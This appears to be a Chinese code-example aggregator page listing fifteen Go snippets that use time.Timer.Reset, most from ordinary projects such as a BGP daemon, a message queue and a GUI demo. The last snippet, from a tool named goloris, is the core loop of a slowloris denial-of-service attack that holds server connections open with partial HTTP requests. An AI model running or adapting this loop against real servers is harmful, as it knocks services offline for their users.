當前位置: 首頁>>代碼示例>>Golang>>正文


Golang Timer.Reset方法代碼示例

本文整理匯總了Golang中Time.Timer.Reset方法的典型用法代碼示例。如果您正苦於以下問題:Golang Timer.Reset方法的具體用法?Golang Timer.Reset怎麽用?Golang Timer.Reset使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在Time.Timer的用法示例。


在下文中一共展示了Timer.Reset方法的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Golang代碼示例。

示例1: main

func main() {
	broker := NewBroker()

	port, err := strconv.Atoi(os.Args[1])
	if err != nil {
		fmt.Println(err.Error())
		os.Exit(1)
	}

	if len(os.Args) > 2 {
		registryURL := os.Args[2]
		myURL := os.Args[3]

		err := announceBroker(registryURL, myURL)
		if err != nil {
			fmt.Println(err.Error())
			os.Exit(1)
		}

		var timer *time.Timer
		timer = time.AfterFunc(RegistryAnnouncePeriod, func() {
			err := announceBroker(registryURL, myURL)
			if err != nil {
				fmt.Println("Error reannouncing to broker!")
			}
			timer.Reset(RegistryAnnouncePeriod)
		})
	}

	http.Handle("/", broker)
	http.ListenAndServe(fmt.Sprintf(":%d", port), nil)
}
開發者ID:hamishm,項目名稱:component-tech,代碼行數:32,代碼來源:broker.go

示例2: established

func (h *FSMHandler) established() bgp.FSMState {
	fsm := h.fsm
	h.conn = fsm.conn
	h.t.Go(h.sendMessageloop)
	h.msgCh = h.incoming
	h.t.Go(h.recvMessageloop)

	var holdTimer *time.Timer
	if fsm.negotiatedHoldTime == 0 {
		holdTimer = &time.Timer{}
	} else {
		holdTimer = time.NewTimer(time.Second * time.Duration(fsm.negotiatedHoldTime))
	}

	for {
		select {
		case <-h.t.Dying():
			return 0
		case conn, ok := <-fsm.connCh:
			if !ok {
				break
			}
			conn.Close()
			log.WithFields(log.Fields{
				"Topic": "Peer",
				"Key":   fsm.peerConfig.NeighborAddress,
			}).Warn("Closed an accepted connection")
		case <-h.errorCh:
			h.conn.Close()
			h.t.Kill(nil)
			h.reason = "Peer closed the session"
			return bgp.BGP_FSM_IDLE
		case <-holdTimer.C:
			log.WithFields(log.Fields{
				"Topic": "Peer",
				"Key":   fsm.peerConfig.NeighborAddress,
				"data":  bgp.BGP_FSM_ESTABLISHED,
			}).Warn("hold timer expired")
			m := bgp.NewBGPNotificationMessage(bgp.BGP_ERROR_HOLD_TIMER_EXPIRED, 0, nil)
			h.outgoing <- m
			h.reason = "HoldTimer expired"
			return bgp.BGP_FSM_IDLE
		case <-h.holdTimerResetCh:
			if fsm.negotiatedHoldTime != 0 {
				holdTimer.Reset(time.Second * time.Duration(fsm.negotiatedHoldTime))
			}
		case s := <-fsm.adminStateCh:
			err := h.changeAdminState(s)
			if err == nil {
				switch s {
				case ADMIN_STATE_DOWN:
					m := bgp.NewBGPNotificationMessage(
						bgp.BGP_ERROR_CEASE, bgp.BGP_ERROR_SUB_ADMINISTRATIVE_SHUTDOWN, nil)
					h.outgoing <- m
				}
			}
		}
	}
	return 0
}
開發者ID:ttaanngg,項目名稱:gobgp,代碼行數:60,代碼來源:fsm.go

示例3: timedDecoder

// timedDecoder returns a Decorated decoder that generates the given error if no events
// are decoded for some number of sequential timeouts. The returned Decoder is not safe
// to share across goroutines.
// TODO(jdef) this probably isn't the right place for all of this logic (and it's not
// just monitoring the heartbeat messages, it's counting all of them..). Heartbeat monitoring
// has specific requirements. Get rid of this and implement something better elsewhere.
func timedDecoder(dec records.Decoder, dur time.Duration, timeouts int, err error) records.Decoder {
	var t *time.Timer
	return records.DecoderFunc(func(v interface{}) error {
		if t == nil {
			t = time.NewTimer(dur)
		} else {
			t.Reset(dur)
		}
		defer t.Stop()

		errCh := make(chan error, 1)
		go func() {
			// there's no way to abort this so someone else will have
			// to make sure that it dies (and it should if the response
			// body is closed)
			errCh <- dec.Decode(v)
		}()
		for x := 0; x < timeouts; x++ {
			select {
			case <-t.C:
				// check for a tie
				select {
				case e := <-errCh:
					return e
				default:
					// noop, continue
				}
			case e := <-errCh:
				return e
			}
		}
		return err
	})
}
開發者ID:jdef,項目名稱:mesoscon-demo,代碼行數:40,代碼來源:transport.go

示例4: doLater

// execute some action in the context of the current process. Actions
// executed via this func are to be executed in a concurrency-safe manner:
// no two actions should execute at the same time. invocations of this func
// should not block for very long, unless the action backlog is full or the
// process is terminating.
// returns errProcessTerminated if the process already ended.
func (self *procImpl) doLater(deferredAction Action) (err <-chan error) {
	a := Action(func() {
		self.wg.Add(1)
		defer self.wg.Done()
		deferredAction()
	})

	scheduled := false
	self.writeLock.Lock()
	defer self.writeLock.Unlock()

	var timer *time.Timer
	for err == nil && !scheduled {
		switch s := self.state.get(); s {
		case stateRunning:
			select {
			case self.backlog <- a:
				scheduled = true
			default:
				if timer == nil {
					timer = time.AfterFunc(self.maxRescheduleWait, self.changed.Broadcast)
				} else {
					timer.Reset(self.maxRescheduleWait)
				}
				self.changed.Wait()
				timer.Stop()
			}
		case stateTerminal:
			err = ErrorChan(errProcessTerminated)
		default:
			err = ErrorChan(errIllegalState)
		}
	}
	return
}
開發者ID:chenzhen411,項目名稱:kubernetes,代碼行數:41,代碼來源:proc.go

示例5: internalPubAsync

func internalPubAsync(clientTimer *time.Timer, msgBody *bytes.Buffer, topic *nsqd.Topic) error {
	if topic.Exiting() {
		return nsqd.ErrExiting
	}
	info := &nsqd.PubInfo{
		Done:     make(chan struct{}),
		MsgBody:  msgBody,
		StartPub: time.Now(),
	}
	if clientTimer == nil {
		clientTimer = time.NewTimer(time.Second * 5)
	} else {
		clientTimer.Reset(time.Second * 5)
	}
	select {
	case topic.GetWaitChan() <- info:
	default:
		select {
		case topic.GetWaitChan() <- info:
		case <-topic.QuitChan():
			nsqd.NsqLogger().Infof("topic %v put messages failed at exiting", topic.GetFullName())
			return nsqd.ErrExiting
		case <-clientTimer.C:
			nsqd.NsqLogger().Infof("topic %v put messages timeout ", topic.GetFullName())
			return ErrPubToWaitTimeout
		}
	}
	<-info.Done
	return info.Err
}
開發者ID:absolute8511,項目名稱:nsq,代碼行數:30,代碼來源:protocol_v2.go

示例6: appMain

func appMain(driver gxui.Driver) {
	theme := dark.CreateTheme(driver)

	label := theme.CreateLabel()
	label.SetText("This is a progress bar:")

	progressBar := theme.CreateProgressBar()
	progressBar.SetDesiredSize(math.Size{W: 400, H: 20})
	progressBar.SetTarget(100)

	layout := theme.CreateLinearLayout()
	layout.AddChild(label)
	layout.AddChild(progressBar)
	layout.SetHorizontalAlignment(gxui.AlignCenter)

	window := theme.CreateWindow(800, 600, "Progress bar")
	window.SetScale(flags.DefaultScaleFactor)
	window.AddChild(layout)
	window.OnClose(driver.Terminate)

	progress := 0
	pause := time.Millisecond * 500
	var timer *time.Timer
	timer = time.AfterFunc(pause, func() {
		driver.Call(func() {
			progress = (progress + 3) % progressBar.Target()
			progressBar.SetProgress(progress)
			timer.Reset(pause)
		})
	})
}
開發者ID:linux-mac,項目名稱:gxui,代碼行數:31,代碼來源:main.go

示例7: timerLoop

// timerLoop loops indefinitely to query the given API, until "wait" times
// out, using the "tick" timer to delay the API queries.  It writes the
// result to the given output.
func timerLoop(api APIClient, requestedId string, wait, tick *time.Timer) (params.ActionResult, error) {
	var (
		result params.ActionResult
		err    error
	)

	// Loop over results until we get "failed" or "completed".  Wait for
	// timer, and reset it each time.
	for {
		result, err = fetchResult(api, requestedId)
		if err != nil {
			return result, err
		}

		// Whether or not we're waiting for a result, if a completed
		// result arrives, we're done.
		switch result.Status {
		case params.ActionRunning, params.ActionPending:
		default:
			return result, nil
		}

		// Block until a tick happens, or the timeout arrives.
		select {
		case _ = <-wait.C:
			return result, nil

		case _ = <-tick.C:
			tick.Reset(2 * time.Second)
		}
	}
}
開發者ID:imoapps,項目名稱:juju,代碼行數:35,代碼來源:fetch.go

示例8: runReader

func (s *Scheme) runReader(reader factory.Reader, timer *time.Timer) {
	if s.warmupMessagesPerRun > 0 {
		logs.Logger.Info("Reading %d warmup messages", s.warmupMessagesPerRun)
	}

	var startTime, lastMessageTime time.Time
	buffer := make([]byte, s.bytesPerMessage*2)
	for i := 0; i < s.warmupMessagesPerRun; i++ {
		reader.Read(buffer)
	}

	logs.Logger.Info("Starting reading %d messages...", s.messagesPerRun)
	for {
		count, err := reader.Read(buffer)
		if err == io.EOF {
			break
		}

		lastMessageTime = time.Now()
		if startTime.IsZero() {
			startTime = lastMessageTime
		}

		timer.Reset(s.waitForLastMessage)

		s.countMessage(count, err)
	}
	logs.Logger.Info("Finished.")

	s.runTime = lastMessageTime.Sub(startTime)
}
開發者ID:myshkin5,項目名稱:netspel,代碼行數:31,代碼來源:scheme.go

示例9: advertiseTimer

func (s *Ssdp) advertiseTimer(ads *AdvertisableServer, d time.Duration, age int) *time.Timer {
	var timer *time.Timer
	timer = time.AfterFunc(d, func() {
		s.advertiseServer(ads, true)
		timer.Reset(d + time.Duration(age)*time.Second)
	})
	return timer
}
開發者ID:mark2b,項目名稱:gossdp,代碼行數:8,代碼來源:ssdp.go

示例10: initTimer

func initTimer(t *time.Timer, timeout time.Duration) *time.Timer {
	if t == nil {
		return time.NewTimer(timeout)
	}
	if t.Reset(timeout) {
		panic("BUG: active timer trapped into initTimer()")
	}
	return t
}
開發者ID:cnhup,項目名稱:httpmq,代碼行數:9,代碼來源:timer.go

示例11: setTimer

func setTimer(timer *time.Timer, d time.Duration) *time.Timer {
	if timer == nil {
		return time.NewTimer(d)
	}

	timer.Reset(d)
	return timer

}
開發者ID:brb,項目名稱:weave,代碼行數:9,代碼來源:sleeve.go

示例12: main

func main() {
	start := time.Now()
	var t *time.Timer
	t = time.AfterFunc(randomDuration(), func() {
		fmt.Println(time.Now().Sub(start))
		t.Reset(randomDuration())
	})
	time.Sleep(5 * time.Second)
}
開發者ID:dylanpoe,項目名稱:golang.org,代碼行數:9,代碼來源:timer.go

示例13: run

func (a *Agent) run(ops <-chan opFunc) {
	var timer *time.Timer
	var retry <-chan time.Time
	retryNeeded := false

	a.ticker = time.NewTicker(a.Cycle)
	defer a.ticker.Stop()

	trySend := func(from time.Time) {
		if err := a.sendRequest(from); err == nil {
			retryNeeded = false
			a.lastPoll = from
			a.clear()
		} else if iserr(err, errMustRetry) {
			if timer == nil {
				timer = time.NewTimer(time.Minute)
				retry = timer.C
			} else {
				timer.Reset(time.Minute)
			}
			retryNeeded = true
		} else {
			a.err = err
		}
	}

	for {
		select {
		case from := <-retry:
			trySend(from)
		case from := <-a.ticker.C:
			if a.LogMetrics {
				a.logMetrics()
			}

			if !retryNeeded {
				// Let the retry loop take over until things are back to normal.
				trySend(from)
			}
		case op, ok := <-ops:
			if !ok {
				return
			} else if op == nil {
				// This should be impossible. If it happens, log it and skip the op.
				fmt.Fprintln(a.Log, ErrNilOpReceived)
				continue
			}

			if err := op(a); iserr(err, errShuttingDown) {
				return
			} else if err != nil {
				a.err = err
			}
		}
	}
}
開發者ID:nilium,項目名稱:skunk,代碼行數:56,代碼來源:agent.go

示例14: Handler

func Handler(in <-chan nog.Message, out chan<- nog.Message) {
	out <- nog.Message{What: "started"}
	s := &Motion{}

	go func() {
		out <- nog.Template("motion")
	}()

	var motionTimer *time.Timer
	var motionTimeout <-chan time.Time

	if c, err := gpio.GPIOInterrupt(7); err == nil {
		s.motionChannel = c
	} else {
		log.Println("Warning: Motion sensor off:", err)
		out <- nog.Message{What: "no motion sensor found"}
		goto done
	}

	for {
		select {
		case m, ok := <-in:
			if !ok {
				goto done
			}
			if m.Why == "statechanged" {
				dec := json.NewDecoder(strings.NewReader(m.What))
				if err := dec.Decode(s); err != nil {
					log.Println("motion decode err:", err)
				}
			}
		case motion := <-s.motionChannel:
			if motion {
				out <- nog.Message{What: "motion detected"}
				const duration = 60 * time.Second
				if motionTimer == nil {
					s.Motion = true
					motionTimer = time.NewTimer(duration)
					motionTimeout = motionTimer.C // enable motionTimeout case
				} else {
					motionTimer.Reset(duration)
				}
			}
		case <-motionTimeout:
			s.Motion = false
			motionTimer = nil
			motionTimeout = nil
			out <- nog.Message{What: "motion detected timeout"}
		}
	}
done:
	out <- nog.Message{What: "stopped"}
	close(out)

}
開發者ID:nogiushi,項目名稱:marvin,代碼行數:55,代碼來源:motion.go

示例15: slowloris

func slowloris(opts options) {
	var conn net.Conn
	var err error

	var timerChan <-chan time.Time
	var timer *time.Timer
	if opts.finishAfter > 0 {
		timer = time.NewTimer(time.Duration(opts.finishAfter) * time.Second)
		timerChan = timer.C
	}

loop:
	for {
		if conn != nil {
			conn.Close()
		}

		conn, err = openConnection(opts)
		if err != nil {
			continue
		}

		if _, err = fmt.Fprintf(conn, "%s %s HTTP/1.1\r\n", opts.method, opts.resource); err != nil {
			continue
		}

		header := createHeader(opts.target)
		if err = header.Write(conn); err != nil {
			continue
		}

		for {
			select {
			case <-time.After(time.Duration(opts.interval) * time.Second):
				if timer != nil {
					timer.Reset(time.Duration(opts.finishAfter) * time.Second)
				}
				if _, err := fmt.Fprintf(conn, "%s\r\n", opts.dosHeader); err != nil {
					continue loop
				}

			// if timerChan is nil (finishAfter =< 0) the case involving it will be omitted
			case <-timerChan:
				fmt.Fprintf(conn, "\r\n")
				ioutil.ReadAll(conn) // omit return values
				conn.Close()
				continue loop
			}
		}
	}

}
開發者ID:raspberrypython,項目名稱:goloris,代碼行數:52,代碼來源:main.go


注:本文中的Time.Timer.Reset方法示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。